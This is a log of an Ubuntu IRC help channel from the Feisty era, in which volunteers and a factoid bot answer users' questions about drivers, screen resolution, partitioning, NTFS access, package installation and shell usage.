[01:23] <Ubotu> Delta: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[01:23] <gnomefreak> steel_lady: there may not be any
[01:23] <neol> !pidgin
[01:23] <Ubotu> pidgin is the new name for Gaim forced by AOL's legal dept. It wasn't released in time for Feisty. Expect it in gutsy. See http://www.pidgin.im/index.php for more info.
[01:23] <gnomefreak> !compile | steel_lady
[01:23] <Ubotu> steel_lady: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)
[01:23] <madgoat> any ideas on why reading dvds may not work on ubuntu?
[01:23] <madgoat> is there a different driver I can use or something...
[01:24] <gnomefreak> madgoat: just a few
[01:24] <Jack_Sparrow> madgoat: How did you install the codecs for dvd's
[01:24] <gnomefreak> you are missing codecs
[01:24] <madgoat> I'm using vobcopy
[01:24] <madgoat> and tried using dd but didn't work
[01:24] <madgoat> I'm getting r/w errors
[01:24] <Jack_Sparrow> k9copy?
[01:24] <Delta> can you give me the address of the pastebin?
[01:24] <SlimeyPete> !pastebin
[01:24] <Ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[01:25] <madgoat> k9copy?
[01:25] <madgoat> hows that going to help?
[01:25] <SlimeyPete> madgoat: sounds like an IDE driver problem. Upgrading your kernel *might* help (but there are no guarantees)
[01:25] <madgoat> god and I thought Ubuntu was polished
[01:25] <gnomefreak> looks more like a permissions issue on dvd or on drive
[01:25] <madgoat> I've tried a pioneer drive and a sony... neither work
[01:25] <blizzkid> hi guys, I'm trying to get Rosegarden working, but it doesn't produce any sound. I have jack -d oss (or jackd -d alsa) running and qsynth, but still no sound. Googling didn't learn me much. Any ideas?
[01:25] <madgoat> I'm running the commands as root
[01:25] <gnomefreak> madgoat: dont run them as root :(
[01:26] <SlimeyPete> madgoat: IDE chipset driver issue then, I guess. Do other distros work?
[01:26] <madgoat> gentoo worked fine with it
[01:26] <Delta> will updating my driver help?
[01:26] <neol> any idea how to install pidgin on ubuntu 7
[01:26] <neol> :)
[01:26] <Myrtti> ubuntu 7 what
[01:26] <Jack_Sparrow> http://paste.ubuntu-nl.org
[01:26] <madgoat> how do you upgrade kernel on ubuntu?
[01:26] <neol> ubuntu 7.04
[01:26] <gnomefreak> nox-Hand: compile it or look for debs somewhere
[01:26] <gnomefreak> neol: that was for you
[01:27] <neol> gnomefreak: where will i get those deb pack ?
[01:27] <SlimeyPete> madgoat: ah. Check whether gentoo has a later kernel than ubuntu - if it does, try upgrading
[01:27] <blizzkid> hi guys, I'm trying to get Rosegarden working, but it doesn't produce any sound. I have jack -d oss (or jackd -d alsa) running and qsynth, but still no sound. Googling didn't learn me much. Any ideas?
[01:27] <steel_lady> gnomefreak, it sends me to http://ubuntulinux.nl/source-o-matic and the link does not work for me
[01:27] <ckin2001> neol, check http://www.debuntu.org/pidgin-2.0.0-deb-ubuntu-feisty-fawn
[01:27] <madgoat> thing is it worked fine to install from cd
[01:28] <Cyber34> I'm trying to get my Webcam working with EasyCam2, however when I try enabling the repository, I get an error saying the files I'm looking for aren't ther
[01:29] <Delta> http://paste.ubuntu-nl.org/37303/
[01:29] <Jack_Sparrow> k
[01:29] <[nrx] > in gnome my keyboard hotkeys would work for volume.. but in KDE they don't. any ideas people?
[01:29] <predaeus> blizzkid, depending on what soundcard you use you might need to load a sound font file onto the card. see sfxload (e.g. man sfxload)
[01:30] <blizzkid> ok, I`ll  look at that first predaeus
[01:30] <Cyber34> The exact error is "Could not Download repository indexes"
[01:30] <Jack_Sparrow> Delta: That looks ok...
[01:31] <silentmind> I installed a belkin wireless card, it shows up in network manager and detects my wireless connection, but I still cant get internet access. is there any way to check the card is connecting properly?
[01:31] <Jack_Sparrow> what monitor are you running?
[01:31] <blizzkid> predaeus, when running sfxload I get "No AWE synth device is found"
[01:31] <Delta> yeah I know but I dont have the resolution option in the scroll itself ... will updating the Graphic card driver will help?
[01:31] <booster_> hey guys i think i know what my problem is now......i have a difrent distro of ubuntu and i didnt know that it came with compiz-fousin so i installed beryl......is there anyway to uninstall both beryl and compiz and start all over ???
[01:34] <Jack_Sparrow> Delta: It wont give you the option if it cant display it.
[01:34] <Jack_Sparrow> Delta: Is that an onboard card or a plug-in
[01:34] <Delta> it can display it....I did yesterday...but I reinstalled ubuntu since then
[01:35] <Jack_Sparrow> Delta: What monitor or have you manually entered the sync rates?
[01:35] <Delta> I havent changed the sync rate
[01:36] <Jack_Sparrow> Delta: What monitor...  third and last time I ask
[01:37] <blizzkid> predaeus?
[01:37] <Delta> my monitor is a nineteen inch one .... a LG Flatron L1910B
[01:38] <predaeus> blizzkid, I don't know, looks like you have a different card that does not use AWE. Search the ubuntu forums and web for your card and midi.
[01:38] <Cyber34> Wait a second, IS there a 64 bit version of EasyCam2?
[01:39] <b33r> Do I need a 64 bit version of ubuntu with Intel E6750 CPU?
[01:39] <Jack_Sparrow> Delta: vrefresh wrong... 56-75
[01:40] <kitche> b33r, well x86 works on x86_64 processors
[01:40] <Delta> line 94?
[01:41] <b33r> kitche, what's the difference between the x86 and 64 bit version?
[01:41] <Jack_Sparrow> Delta: http://paste.ubuntu-nl.org/37304/
[01:41] <Jack_Sparrow> Delta: based on   http://de.shopping.com/xPF-LG_FLATRON_L1910B
[01:41] <kitche> b33r, umm one is made for x86_64 and other one one is made for x86 but you have less software options with x86_64
[01:42] <Delta> ok
[01:42] <Jack_Sparrow> Delta: It is the only thing I see... someone else may see another issue
[01:42] <b33r> I mean any performance boost with the 64 version?
[01:42] <Delta> should I restart? coz I still cant change it
[01:43] <Jack_Sparrow> Delta: Yes, you need to
[01:43] <kitche> b33r, umm maybe a 0.00007% since nothing is made for 64 bit right now really
[01:43] <b33r> ok thanks
[01:44] <Delta> thanks jack it works now :)
[01:44] <Jack_Sparrow> :)
[01:44] <Irreducibilis> X64
[01:44] <Irreducibilis> We need X128
[01:44] <Otacon22> Can i create a virtual audio device like /dev/dsp2 and for example say to an mp3 player to send audio in that device and than use a software like audacity to register on that device?
[01:44] <Jack_Sparrow> Delta: cp /etc/X11/xorg.conf ~/Desktop/xorg.conf.$(date +%m-%d-%Y-%T)
[01:45] <Jack_Sparrow> Delta: Save a copy
[01:45] <Seveas> Otacon22, if you have a second soundcard you can
[01:45] <Otacon22> Seveas, i can't create a virtual sound card like i saied?
[01:45] <Seveas> Otacon22, no, you need to use alsa if you want to share a soundcard.
[01:46] <Otacon22> hum
[01:46] <xavivars> hello
[01:47] <xavivars> can anyone help me?
[01:47] <VSpike> how hard is it to retrofit lvm to a running system?
[01:47] <xavivars> if I write on a shell script something like
[01:47] <xavivars>     #!/bin/bash
[01:47] <xavivars>     cat file.txt | iconv -flatin1
[01:47] <xavivars> it works well
[01:48] <xavivars>     #!/bin/bash
[01:48] <xavivars>     ORDRE="cat file.txt | iconv -flatin1"
[01:48] <xavivars>     $ORDRE
[01:48] <xavivars> this fails
[01:48] <xavivars> why?
[01:48] <Jack_Sparrow> xavivars: Please dont paste into channel
[01:48] <xavivars> (it says "cat: invalid option -- f")
[01:49] <xavivars> Jack_Sparrow: sorry
[01:49] <steel_lady> please, I am trying to compile, who can help me?
[01:49] <xavivars> i didn't know it was not allowed
[01:49] <Jack_Sparrow> xavivars: THis is a channel for help with Ubuntu related problems..not bash programming
[01:49] <xavivars> ok
[01:49] <xavivars> do you know a channel about bash programming?
[01:50] <chris_> xavivars: write eval $ORDRE
[01:50] <Jack_Sparrow> xavivars: I would assume there is a #Bash
[01:50] <chris_> xavivars: instead of just $ORDRE
[01:50] <xavivars> chris thanks
[01:50] <Jack_Sparrow> thanks chris
[01:50] <lamer11896841751> just updated the kernel, and DVD drives *still* don't work :(
[01:50] <lamer11896841751> any ideas how to fix them so I can read dvds?
[01:50] <xavivars> Jack_Sparrow: thank you too
[01:50] <xavivars> ;)
[01:50] <Talcite> hey guys, are there any tasm-syntax compatible assembly compilers for linux?
[01:51] <neol> how do i search a specific file in my whole root parition ?
[01:51] <chris_> neol: find / -name '*porn*'
[01:52] <lostallhope> Hello . I have installed a ATI driver on my ubuntu feisty but when i press the CCCP it says "No ati graphic driver installed"
[01:52] <lostallhope> its an ATI X700 mobility card
[01:52] <chris_> neol: "locate porn" is faster, but uses a database that's up to 24 hours old
[01:53] <CrowJake> hello all, can any one help me with installing ubuntu?
[01:53] <chris_> neol: or use beagle - hit F12 and search there
[01:53] <neol> chris_: u mean files which were modified b4 24 hrs for " locate porn " ?
[01:53] <kitche> hmm anyone know why openoffice in ubuntu makes my page look longer then it actually is then in windows in ubuntu it's 3 pages in windows it's 2 1/2 pages
[01:54] <CrowJake> magic?
[01:54] <chris_> neol: locate will only find files which existed the last time the database was rebuilt, which happens around 7am each day I think
[01:54] <TTilus> neol: locate finds if the file _existed_ 24+ hours ago
[01:54] <chris_> kitche: different margins maybe?
[01:54] <dgjones> kitche, are the two versions using different fonts or point sizes?, or possibly the printer margins set in each version could be set differently
[01:55] <zygen> You can always update the locate database: sudo locate -u
[01:55] <neol> chris_: how 2 use beagle ?
[01:55] <kitche> same font and everything same margins
[01:55] <chris_> neol: hit F12?
[01:55] <neol> chris_: nothing happens when i hit f12
[01:56] <chris_> neol: maybe you don't have beagle installed?
[01:56] <dgjones> kitche, header or footer settings as a possibility
[01:56] <CrowJake> does any one know if it's possible to make a new partition on a pc that's already partitioned, in which to install ubuntu?
[01:56] <chris_> neol: what if you run beagle-search in a terminal?
[01:56] <neol> chris_: will use find only.... does find results include even hidden files /
[01:56] <neol> chris_: command not found
[01:56] <kitche> dgjones, as I stated everything is the sme settings
[01:57] <silentmind> I have a working wireless card but no internet connection... total newb, can someone help?#
[01:57] <chris_> CrowJake: the uubuntu installer will resize existing partitions for you.  do a backup first if you value your data
[01:57] <neol> chris_: does find include results of hidden files ?
[01:58] <chris_> neol: install package 'beagle'.  I'm not sure what it includes.  I use 'find' or 'locate', me.
[01:58] <CrowJake> well it's a new laptop so there's not much on it, but that's ok. can i not partition it into 3? vista - linux - doccuments
[01:58] <chris_> neol: sorry, yes, find does
[01:58] <neol> chris_: thx
[01:59] <chris_> CrowJake: you can partition it however you like
[01:59] <chris_> CrowJake: if you want to be able to write to 'documents' from both linux and windows, it's a good idea to use FAT format
[02:00] <CrowJake> i feel like a novice *googles FAT*
[02:00] <CrowJake> when i inta
[02:00] <chris_> CrowJake: the installer will let you specify the filesystem type for each partition. FAT is a format that ubuntu and windows can both write to safely.  NTFS is a proprietary MS formay, which linux can write to, but I'm not sure how safe it is
[02:00] <CrowJake> oops,
[02:01] <chris_> formay>format
[02:01] <Pici> !ntfs-3g
[02:01] <Ubotu> ntfs-3g is a Linux driver which allows read/write access to NTFS partitions. Installation instructions at https://help.ubuntu.com/community/MountingWindowsPartitions
[02:01] <chris_> Pici: is it safe?
[02:02] <CrowJake> oh thanks, i'll give it another go, it looked at the time that i could only move a solitary partition, i may be back later, thanks loads for the help
[02:02] <crlao> how to get the list of partitions in a terminal ?
[02:02] <chris_> crlao: fdisk -l /dev/sda
[02:02] <thedonvaughn> crlao, fdisk -l to show list of partitions of all discs in your system
[02:03] <more_wimt> I've used NTFS-3g without an issues... sometimes it messes up though and requires you to boot into Windows to fix the NTFS though. No data loss though
[02:03] <chris_> thedonvaughn: nice.  I didn't know you could leave out the /dev/ argument
[02:03] <chris_> more_wimt: worrying
[02:03] <greatgerbil> Hi, does anyone here have experience with ati radeon cards?
[02:03] <[nrx] > yeah, they're crap
[02:03] <thedonvaughn> chris_, yup, it'll default to list all discs
[02:03] <chris_> greatgerbil: I'm using one now.  It doesn't work properly in feisty
[02:04] <Jack_Sparrow> I prefer fat32.. I dont let either os write to the sysem partition of the other
[02:05] <more_wimt> Yeah fat32 is a safer option to let either OS write to happily. I use NTFS on my external drives though out of habit
[02:05] <dgjones> chris_, i use ntfs-3g very occasionally and haven't had a problem, although for safety, i'm in the process of backing up data on an ntfs drive ready to reformat to either fat32 or ext3 now i don't have any specific need to use windows
[02:05] <chris_> greatgerbil: I can't pm you - I can't remember my nickserv password...
[02:06] <chris_> dgjones: I found that since windows can read ext3, and linux can read ntfs, I never needed a 'middle' exchange partition
[02:06] <crlao> chris_, thedonvaughn: thanks :)
[02:06] <more_wimt> In reality, most of the times ntfs-3g requires me to boot into Windows to fix the NTFS is probably because I remove the external drives unsafely
[02:06] <chris_> dgjones: I installed an ext3 driver in windows - it doesn't have one as standard of course
[02:06] <thedonvaughn> greatgerbil, you running closed source or open source drivers?
[02:06] <chris_> !ati
[02:06] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[02:07] <greatgerbil> ok, well I'm just trying to install the ati driver.. but a message comes up that gedit can't find the right character coding.
[02:07] <thedonvaughn> greatgerbil, and if you describe specifcally what issue you are having, i'm sure you'd get more responses.  Asking if someone has an ati card doesn't count.
[02:07] <Ross154> wtf
[02:08] <vader1102> What is this, I come in to people swearing?
[02:08] <dgjones> chris_, i had a 320gb  drive in a windows server so needed t formatted as ntfs, i've replaced the machine with an ubuntu one now so don't need it as ntfs anymore, so for safety, im replacing it as a format natively read by linux
[02:08] <Ross154> ooops ... wtong window   lol
[02:08] <Delta> When I press <Shift>+<Ctrl>+<Alt>+<Left/Right> nothing happens, I do have multiple work-spaces and I can move windows from one to another by dragging them
[02:09] <vader1102> Delta, try ctrl alt left or right
[02:09] <vader1102> or ctrl alt tab left or right
[02:10] <silentmind> I have a working wireless card but no internet connection... total newb, can someone help?
[02:11] <Delta> yeah ctrl alt left & right works
[02:11] <vader1102> lol
[02:11] <muNkey_boy> Hello.
[02:11] <vader1102> sorry paying attention to the wifes windows crap machine. Infected badly at the moment
[02:12] <greatgerbil> ok nevermind...the page has the instructions...thanks for trying to help
[02:12] <DigeratiX> why is FLOPPY always there in places view when I go to click on places/home? I dont have one installed
[02:12] <muNkey_boy> I was just wondering, would Ubuntu be anygood for running a file server and media box?
[02:12] <vader1102> Delta, also if you have it configured, ctrl alt tab left or right will display the cube :)
[02:13] <muNkey_boy> All I will need on the file server is support for a FTP server and HDD support. And I'm pretty sure that VLC Media player runs on Ubuntu.
[02:13] <jah> hey guys--
[02:13] <vader1102> muNkey_boy, no idea. Someone with a little more experience will have to help there
[02:13] <muNkey_boy> Hi.
[02:13] <thedonvaughn> muNkey_boy, it will do that very easily
[02:13] <dgjones> muNkey_boy, yes, its fine, i'm doing that at the minute, shared drives & printers from one machine using wired & wifi networks
[02:13] <jah> uhhhm , a question, is it possible to download a whole website to hd to view it offline?
[02:14] <scam_> jah,  man wget
[02:14] <muNkey_boy> Cool, what FTP Server software do you recommend for it?
[02:14] <Delta> I still havent installed ccsm
[02:14] <DigeratiX> jah yes
[02:14] <DigeratiX> use or google httrack
[02:14] <dbmoodb> cache :)
[02:14] <DigeratiX> eww woops
[02:15] <DigeratiX> it may only work on windows
[02:15] <DigeratiX> it was a gui based thing
[02:15] <lamer11896841751> I'm thinking of switching to gentoo :( ubuntu just won't work with any dvd drives I've got :(
[02:15] <dgjones> muNkey_boy, i don't use any FTP software, just a straight ubuntu desktop install with a media partition and a 2nd drive with rw access for anybody
[02:15] <DigeratiX> wget has tons of cmd line options so suck a website
[02:15] <Pici> DigeratiX: There are httrack packages for Ubuntu, I believe they are in the repos.
[02:15] <greatgerbil> ok guys, I really don't know linux...so bare with me... how do I find the desktop directory in terminal
[02:15] <dbmoodb> digeratix -- tried wine ?
[02:15] <DigeratiX> kool
[02:15] <DigeratiX> yes wine is ok
[02:15] <thedonvaughn> greatgerbil, ~/Desktop
[02:15] <greatgerbil> thank
[02:15] <greatgerbil> you
[02:16] <thedonvaughn> greatgerbil, ~ is shorthand for your home directory.  (/home/username>
[02:16] <girl_can_rock> hey
[02:16] <[nrx] > hi
[02:17] <vader1102> bbiab.... cold here and need to warm up.....
[02:17] <Delta> Vader: but I dont want to see the cube , I want to be able to move my windows without dragging them
[02:17] <DigeratiX> can someone help me with my question that is probably simple?
[02:17] <DigeratiX> why is FLOPPY always there in places view when I go to click on places/home? I dont have one installed
[02:18] <[nrx] > it's a default in your stab
[02:18] <[nrx] > fstab, even
[02:18] <DigeratiX> can it be commented?
[02:18] <[nrx] > yes :)
[02:18] <dbmoodb> digeratix really ?
[02:18] <dbmoodb> you don't have a floppy drive ?
[02:18] <[nrx] > i only have fdd on one of my machines
[02:19] <thedonvaughn> i haven't had a floppy in like 10 years :)
[02:19] <thedonvaughn> drive
[02:19] <DigeratiX> beleive it or not they actually DO still have good use, I used it to flash the bios on this pc before installing ubunut
[02:19] <[nrx] > <thedonvaughn> i haven't had a floppy in like 10 years :)  <--- viagra taking it's toll?
[02:19] <[nrx] > :D
[02:19] <DigeratiX> 10 years is a stretch
[02:19] <thedonvaughn> lol
[02:19] <Augustus_Kolya> thedonvaughn: use rawrite to make the disk images
[02:19] <Augustus_Kolya> :P
[02:20] <scam_> i use DD all the time :)
[02:20] <DigeratiX> brb
[02:20] <scam_> especially when im installing 50 of the same computers :)
[02:20] <[nrx] > in gnome my keyboard hotkeys would work for volume.. but in KDE they don't. any ideas people?
[02:21] <nanonyme> asking
[02:21] <nanonyme> oops :)
[02:21] <nanonyme> asking why WM spesific hotkeys don't work for another WM? :)
[02:21] <Bajo> !applet
[02:21] <ubotu> Sorry, I don't know anything about applet - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:21] <Bajo> hi everyone, can I start an applet that do not appear on the "add to panel" menu?
[02:22] <Bajo> *does
[02:22] <[nrx] > no no, I'm taking about keyboard hotkeys on a laptop.. for volume, etc. as in, holding down 'fn' and then 'up' for vol up and 'down' for vol down
[02:22] <[nrx] > gnome picked them up after install.. but KDE doesn't want to know
[02:22] <xxxgirls> hiii
[02:23] <greatgerbil> to run the package I created (still ati) terminal says I need superuser privilages...what do I do?
[02:23] <thedonvaughn> greatgerbil, run the command using sudo
[02:24] <hjmills> hi all - what is more secure, ssl or tls
[02:25] <thedonvaughn> greatgerbil, but. you can let ubuntu do all the work for you to install ati drivers.  you should read the wiki
[02:25] <thedonvaughn> !ati
[02:25] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[02:26] <greatgerbil> so instead of "dpkg -i fglrx-kernel-source_8.40.4-1_amd64.deb"  I replace dpkg with sudo?
[02:26] <thedonvaughn> greatgerbil, no you just put sudo in front of it
[02:26] <greatgerbil> ok
[02:26] <thedonvaughn> but um
[02:26] <thedonvaughn> what version of ubuntu are you running?
[02:27] <jeff_> what irc client do you folks use?
[02:27] <thedonvaughn> why are you installing the drivers like that?
[02:27] <thedonvaughn> jeff_, i prefer irssi
[02:27] <dbmoodb> xchat
[02:27] <hjmills> xchat
[02:27] <praet> jmak642: irssi in a screen
[02:27] <DigeratiX> worked good that commenting out
[02:27] <DigeratiX> sometimes I just dont think
[02:27] <Klavier> can t find xmms or mplayer in add/remove section of my ubuntu
[02:27] <jmak642> noone uses bitchx?
[02:28] <Klavier> should i install them manually
[02:28] <Phreakazoid> excuse me does anyone know how to change the icon on the applications menu?
[02:28] <hjmills> !language
[02:28] <ubotu> Please watch your language and keep this channel family friendly.
[02:28] <DigeratiX> i use xchat
[02:28] <praet> Klavier: sudo apt-get install mplayer
[02:28] <jmak642> !bitchx
[02:28] <ubotu> Sorry, I don't know anything about bitchx - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:28] <thedonvaughn> Klavier, sudo aptitude search mplayer
[02:28] <BlackDark> hi
[02:28] <defrysk> !info bitchx
[02:28] <ubotu> bitchx: Advanced Internet Relay Chat client. In component universe, is optional. Version 1:1.1-4ubuntu2 (feisty), package size 1506 kB, installed size 6508 kB
[02:28] <BlackDark> does anyone uses ubuntu feisty with an hauppauge 250 or 150 ?
[02:28] <n3tfury> hjmills: did anybody answer your question
[02:28] <hjmills> Klavier, have you enabled the universe and multiverse repos
[02:29] <hjmills> n3tfury, not yet
[02:29] <Klavier> okay
[02:29] <jmak642> alright well i'll be back after work
[02:29] <jmak642> cyas
[02:29] <BlackDark> I have a kernel panic with feisty after 2-3 days being up, suspecting lirc
[02:29] <praet> Klavier: it is in multivers (open system > Adminstration > Software sources and check univers, multiverse)
[02:29] <BlackDark> wondering if I'm the only one to get that problem
[02:29] <Klavier> play praet
[02:29] <kingyami> hello all
[02:29] <Klavier> ok
[02:29] <n3tfury> tls IS ssl, just a newer version.  i've not used any tls specified apps yet though
[02:30] <kingyami> i need help finding a program
[02:30] <praet> !ask > kingyami
[02:30] <kingyami> it is called golden gaia
[02:30] <hjmills> n3tfury, oh ok, thanks for the distinction
[02:30] <thedonvaughn> kingyami, google is your friend
[02:30] <thedonvaughn> kingyami, sudo aptitude search golden or gaia shows nothing
[02:30] <n3tfury> yw hjmills
[02:31] <kingyami> thanks
[02:31] <hjmills> kingyami, is it a linux program?
[02:31] <thedonvaughn> kingyami, actually sudo aptitude search gaia shows a package called gaia
[02:31] <praet> kingyami: is that a chat bot?
[02:31] <GioBlack> hi
[02:31] <muNkey_boy> hi
[02:31] <praet> or an online game?
[02:31] <n3tfury> sounds kinky
[02:31] <visioncig> hi
[02:31] <GioBlack> !list
[02:31] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://ubotu.ubuntu-nl.org/factoids.cgi - Usage info: http://wiki.ubuntu.com/UbuntuBots
[02:31] <thedonvaughn> !gaia
[02:31] <ubotu> Sorry, I don't know anything about gaia - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[02:31] <thedonvaughn> !info gaia
[02:31] <ubotu> Package gaia does not exist in feisty, feisty-seveas
[02:31] <kingyami> no it is a gold bot for gauiaonline
[02:31] <kingyami> gaiaonline
[02:31] <xxxgirls> hello
[02:31] <praet> kingyami: http://chaosprogramming.com/
[02:32] <thedonvaughn> kingyami, a gold bot what for what?  What does that have to do with #ubuntu?
[02:32] <kingyami> anyplace to get besides chaos?
[02:32] <greatgerbil> ok almost done, how do I change /etc/default/linux-restricted-modules-common to include DISABLED_MODULES="somemodule2 fglrx"?
[02:32] <Zasch> Hello. Suppose I were to type in the command: "dd if=/dev/fd0 of=bootsect.lnx bs=512 count=1". Where would the new file be placed?
[02:33] <lifeburn> 3A
[02:33] <praet> kingyami: that is a windows software :)
[02:33] <thedonvaughn> Zasch, bootsect.lnx
[02:33] <kingyami> yes
[02:33] <ckin2001> Zasch, should be in current directory
[02:33] <praet> !ubuntu > kingyami
[02:33] <thedonvaughn> Zasch, sorry in your present working directory
[02:34] <Zasch> I'm sorry, I'm an idiot and just couldn't see it. Nevermind. :P
[02:34] <praet> Jack_Sparrow: 'lo
[02:34] <thedonvaughn> !ubuntu > thedonvaughn
[02:39] <cVsup> libusplash-dev is deprecated?
[02:40] <dgjones> has the channel gone silent? only seen one message in the last 5 minutes
[02:40] <pike_> you spoiled it!
[02:40] <Pici> dgjones: shh!
[02:41] <Irreducibilis> 1125 people and no messages?!
[02:41] <cVsup> somebody can help me?
[02:41] <Irreducibilis> Nevermind...
[02:41] <cVsup> i need install libusplash-dev
[02:41] <Pici> cVsup: What version of Ubuntu?
[02:41] <CrowJake> does anyone know if I change my partition types to FAT when installing ubuntu, whether vista will still run ok?
[02:41] <cVsup> 6.06.1
[02:42] <crlao> how to write on a ntfs usb disk ?
[02:42] <thedonvaughn> CrowJake, i would highly not recommend changing your file system type for your windows partition during installation of ubuntu
[02:42] <Pici> cVsup: Doesn't look like that package is available for dapper.
[02:42] <greatgerbil> ok almost done, how do I change /etc/default/linux-restricted-modules-common to include DISABLED_MODULES="somemodule2 fglrx"?
[02:42] <Irreducibilis> crlao: Thats what I want to kow
[02:42] <dgjones> !ntfs-3g | crlao
[02:42] <ubotu> crlao: ntfs-3g is a Linux driver which allows read/write access to NTFS partitions. Installation instructions at https://help.ubuntu.com/community/MountingWindowsPartitions
[02:42] <Irreducibilis> know
[02:43] <no0n> Does anyone know if there is a way to upgrade from torrentflux torrentflux-b4rt?
[02:43] <jonathan_> somebody know how to install kde4 beta 3 for kubuntu feisty?
[02:43] <thedonvaughn> !kde4 > jonathan_
[02:44] <cVsup> Pici, I can install of another version?
[02:44] <zetheroo> I would like to know how to make Thunderbird my default mail client
[02:44] <CrowJake> oh lol, there's an empty partition that was already on  the pc when i first turned it on, would that still be ok?
[02:44] <zetheroo> I would like to know how to make Thunderbird my default mail client
[02:45] <thedonvaughn> zetheroo, System -> Preferences -> Prefered Applications
[02:45] <praet> zetheroo: System > preferences > default programs
[02:45] <zetheroo> thanks
[02:45] <praet> er. right,
[02:45] <praet> what thedonvaughn said
[02:46] <xoRock> hai, just install crossover pro, but there is no icon/menu, what should i do?
[02:46] <kritzstapf> im running a server with gentoo atm and want to switch to ubuntu but there is no cd-drive attached, how to install out of the running gentoo?
[02:47] <SettlerX> Hey. I don't know if someone posted this issue on bug tracker but Ubuntu (or linux kernel) has problems with managing CD-ROM speed.
[02:47] <greatgerbil>  how do I edit /etc/default/linux-restricted-modules-common?
[02:47] <[nrx] > i still can't get my laptop's hotkeys to work :(
[02:48] <praet> xoRock: ~/cxoffice/bin/cxinstallwizard  ?
[02:48] <praet> greatgerbil: sudo gedit /etc/default/linux-restricted-modules-common
[02:49] <xoRock> praet,  /home/xo/cxoffice/bin/cxinstallwizard: No such file or directory
[02:49] <Pici> cVsup: I'm guessing that you are trying to customize your usplash image, you shouldnt need that package.  Please follow the second half of this page: https://help.ubuntu.com/community/USplashCustomizationHowto
[02:50] <cVsup> pici but i need libusplash-dev for install reconstructor package
[02:50] <SettlerX> When Xubuntu loads from cd-rom, the speed is very low... however, if it has some problems with reading files, CD disc is scattered to maximum speed (Windows doesn't speed up it so much).
[02:50] <greatgerbil> thank you again
[02:50] <praet> xoRock: type [which cxinstallwizard]  to see where the install wizard is located
[02:51] <dgjones> SettlerX, do you mean loading data from a cd rom, or using a livecd?
[02:51] <PgL|Neocid> hi everyone, i'am a new user of ubuntu. I would like to install my Trendnet wifi 802.11g card and I encounter many issue. Anyone can help me ?
[02:51] <SettlerX> dgjones: liveCD
[02:51] <praet> PgL|Neocid: what is the issue?
[02:51] <SettlerX> i don't know if it's a problem of Ubuntu or Linux kernel
[02:51] <dgjones> SettlerX, the live cd's are quite slow, nowhere near as quick as proper hard drive installation
[02:52] <PgL|Neocid> praet: My wifi card isn't recognize by ubuntu ( or debian or any other kernel )
[02:52] <xoRock> praet, thx its in /opt/cxoffice/bin
[02:52] <spoon-man> hi all
[02:52] <spoon-man> has any one got dmix to work using a nf2 chipset
[02:53] <Pici> cVsup: This might help: http://ubuntuforums.org/archive/index.php/t-328575.html
[02:53] <SettlerX> dgjones: Live CDs should be quite faster but they shouldn't speed up to maximum in some moments...
[02:53] <praet> PgL|Neocid: you will need ndiswrapper, follow this: https://help.ubuntu.com/community/WifiDocs/Device/Broadcom_BCM4311_rev_01_%28ndiswrapper%29?highlight=%28WifiDocs%2FDevice%29
[02:53] <praet> PgL|Neocid: and use this driver: http://ftp.us.dell.com/network/R140747.EXE
[02:54] <webpower> how to enable 3d ati radeon for ubuntu?
[02:54] <xoRock> praet, after install wizard done, i choose private, then im confuse again :D
[02:54] <webpower> driver
[02:54] <PgL|Neocid> praet: ok i'll fallow this thing, thanks to you.
[02:54] <xoRock> praet, no shortcut
[02:55] <dgjones> SettlerX, i've not used an xubuntu livecd, but the ubuntu/kde ones seem ok, just generally slow
[02:55] <praet> xoRock: hrmm. I m not too familiar in usage, I would read these: http://www.codeweavers.com/support/docs/crossover-standard/
[02:55] <xoRock> praet, thx ill read it
[02:56] <zetheroo> has anyone found a easy solution to screen expansion?
[02:56] <gerro> know how when you enter random windows services in google it pops up sites like this one http://www.neuber.com/taskmanager/process/explorer.exe.html. Where are the sites that have that for linux? There are loads of root processes going on and I'd like to acquaint myself with what they do
[02:56] <kritzstapf> im running a server with gentoo atm and want to switch to ubuntu but there is no cd-drive attached, how to install out of the running gentoo?
[02:56] <dgjones> !install | kritzstapf
[02:57] <pike_> !install | kritzstapf
[02:57] <ubotu> kritzstapf: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues - See also !automate
[02:57] <cVsup> Pici, thank?
[02:57] <cVsup> Pici, thank's
[02:57] <praet> xoRock: one more thing, right clcik the applications menu on the top gnome panel and select Edit menus, see if the crossover shortcuts are created
[02:57] <pike_> kritzstapf: heh, that first link has many isntall options
[02:57] <VSpike> how hard is it to retrofit lvm to a running system?
[02:57] <zetheroo> desktop expansion anyone?
[02:57] <kronos> is there a way I can stop the system from sending messages ?
[02:57] <praet> kronos: define "sending messages"
[02:58] <xoRock> praet, i found it thx :D
[02:58] <praet> xoRock: great!
[02:58] <kronos> praet: system messages via sendmail
[02:58] <Pici> !xinerama > zetheroo (Please see the private messsage from ubotu)
[02:58] <Pici> !dualhead > zetheroo (Please see the private messsage from ubotu)
[02:59] <zetheroo> see I have been to all those pages
[02:59] <BCMM> is is possible to load the install CD into ram?
[02:59] <BCMM> like the toram option on Knoppix?
[03:00] <kronos> praet: the messages sent by the system via sendmail
[03:00] <pike_> i was tolk ubuntu intended some front end to configure dual head display in next release or so too
[03:00] <zetheroo> I dunno what the diff is between Dual Head and Big Screen
[03:00] <pike_> tolk/told me speek gud
[03:01] <zetheroo> I need to work on two screens because beryl doesn't work for me
[03:01] <[nrx] > i need to get my laptop hotkeys working ;p
[03:01] <CrowJake> would anyone mind giving me one on one help in pm?
[03:01] <[nrx] > CrowJake, what's up?
